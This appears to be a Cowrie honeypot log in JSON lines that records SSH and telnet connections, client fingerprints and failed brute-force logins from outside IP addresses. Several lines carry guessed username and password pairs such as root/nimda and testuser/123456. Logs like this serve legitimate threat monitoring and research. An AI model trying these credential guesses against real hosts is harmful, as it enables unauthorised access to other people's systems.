{"eventid":"cowrie.login.failed","username":"intel","password":"intel123","message":"login attempt [intel/intel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:40.173357Z","src_ip":"197.5.145.150","session":"f782ff807a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ffb915da044","protocol":"ssh","message":"New connection: 141.11.88.14:51278 (10.17.0.5:22) [session: 2ffb915da044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:40.395103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:40.853799Z","src_ip":"141.11.88.14","session":"2ffb915da044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:40.904074Z","src_ip":"141.11.88.14","session":"2ffb915da044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:41.301299Z","src_ip":"197.5.145.150","session":"f782ff807a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":52720,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fe45a9a329","protocol":"ssh","message":"New connection: 103.143.231.24:52720 (10.17.0.5:22) [session: 01fe45a9a329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:41.627554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:41.633892Z","src_ip":"103.143.231.24","session":"01fe45a9a329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:41.705008Z","src_ip":"103.143.231.24","session":"01fe45a9a329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:41.942505Z","src_ip":"141.11.88.14","session":"2ffb915da044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345qwert","message":"login attempt [ubuntu/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:42.031160Z","src_ip":"103.143.231.24","session":"01fe45a9a329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:43.105916Z","src_ip":"103.143.231.24","session":"01fe45a9a329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:43.141275Z","src_ip":"141.11.88.14","session":"2ffb915da044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":51342,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e4916dea60e","protocol":"ssh","message":"New connection: 141.11.88.14:51342 (10.17.0.5:22) [session: 8e4916dea60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:46.925464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:47.261990Z","src_ip":"141.11.88.14","session":"8e4916dea60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:47.265206Z","src_ip":"141.11.88.14","session":"8e4916dea60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"carlos","password":"carlos","message":"login attempt [carlos/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:48.722185Z","src_ip":"141.11.88.14","session":"8e4916dea60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:50.147561Z","src_ip":"141.11.88.14","session":"8e4916dea60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"901efc7f93ed","protocol":"telnet","message":"New connection: 107.6.151.170:59312 (159.203.135.109:23) [session: 901efc7f93ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:51.377551Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"0055147f13e3","protocol":"ssh","message":"New connection: 147.45.199.80:51938 (10.17.0.5:22) [session: 0055147f13e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.339185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.343790Z","src_ip":"147.45.199.80","session":"0055147f13e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.438667Z","src_ip":"147.45.199.80","session":"0055147f13e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345vfif","message":"login attempt [root/12345vfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.725751Z","src_ip":"147.45.199.80","session":"0055147f13e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47448,"dst_ip":"10.17.0.5","dst_port":22,"session":"d442a2cf616e","protocol":"ssh","message":"New connection: 141.11.88.14:47448 (10.17.0.5:22) [session: d442a2cf616e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.878304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.894852Z","src_ip":"141.11.88.14","session":"d442a2cf616e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:53.993729Z","src_ip":"141.11.88.14","session":"d442a2cf616e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:54.573908Z","src_ip":"141.11.88.14","session":"d442a2cf616e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:54.823687Z","src_ip":"147.45.199.80","session":"0055147f13e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password12345^","message":"login attempt [root/Password12345^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:54.973783Z","src_ip":"27.71.230.31","session":"e198604a072b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:55.712919Z","src_ip":"141.11.88.14","session":"d442a2cf616e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"70.6","message":"Connection lost after 70.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:56.737333Z","src_ip":"27.71.230.31","session":"e198604a072b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38786,"dst_ip":"159.203.135.109","dst_port":23,"session":"63e51d1e184d","protocol":"telnet","message":"New connection: 172.81.62.90:38786 (159.203.135.109:23) [session: 63e51d1e184d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:59:57.343225Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39770,"dst_ip":"10.17.0.5","dst_port":22,"session":"fabf2c4e3f1e","protocol":"ssh","message":"New connection: 141.11.88.14:39770 (10.17.0.5:22) [session: fabf2c4e3f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:01.699491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:01.705857Z","src_ip":"141.11.88.14","session":"fabf2c4e3f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:01.783943Z","src_ip":"141.11.88.14","session":"fabf2c4e3f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:02.644884Z","src_ip":"141.11.88.14","session":"fabf2c4e3f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:03.959192Z","src_ip":"141.11.88.14","session":"fabf2c4e3f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44338,"dst_ip":"159.203.135.109","dst_port":22,"session":"92b099ce22df","protocol":"ssh","message":"New connection: 27.71.230.31:44338 (159.203.135.109:22) [session: 92b099ce22df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:03.964448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:03.996192Z","src_ip":"27.71.230.31","session":"92b099ce22df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:04.271782Z","src_ip":"27.71.230.31","session":"92b099ce22df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39792,"dst_ip":"10.17.0.5","dst_port":22,"session":"be458d775480","protocol":"ssh","message":"New connection: 141.11.88.14:39792 (10.17.0.5:22) [session: be458d775480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:07.392005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:07.743679Z","src_ip":"141.11.88.14","session":"be458d775480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:07.750393Z","src_ip":"141.11.88.14","session":"be458d775480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":35708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d09e2a6ff4","protocol":"ssh","message":"New connection: 197.5.145.150:35708 (10.17.0.5:22) [session: f8d09e2a6ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:08.633164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:08.638925Z","src_ip":"197.5.145.150","session":"f8d09e2a6ff4","protocol":"ssh"}
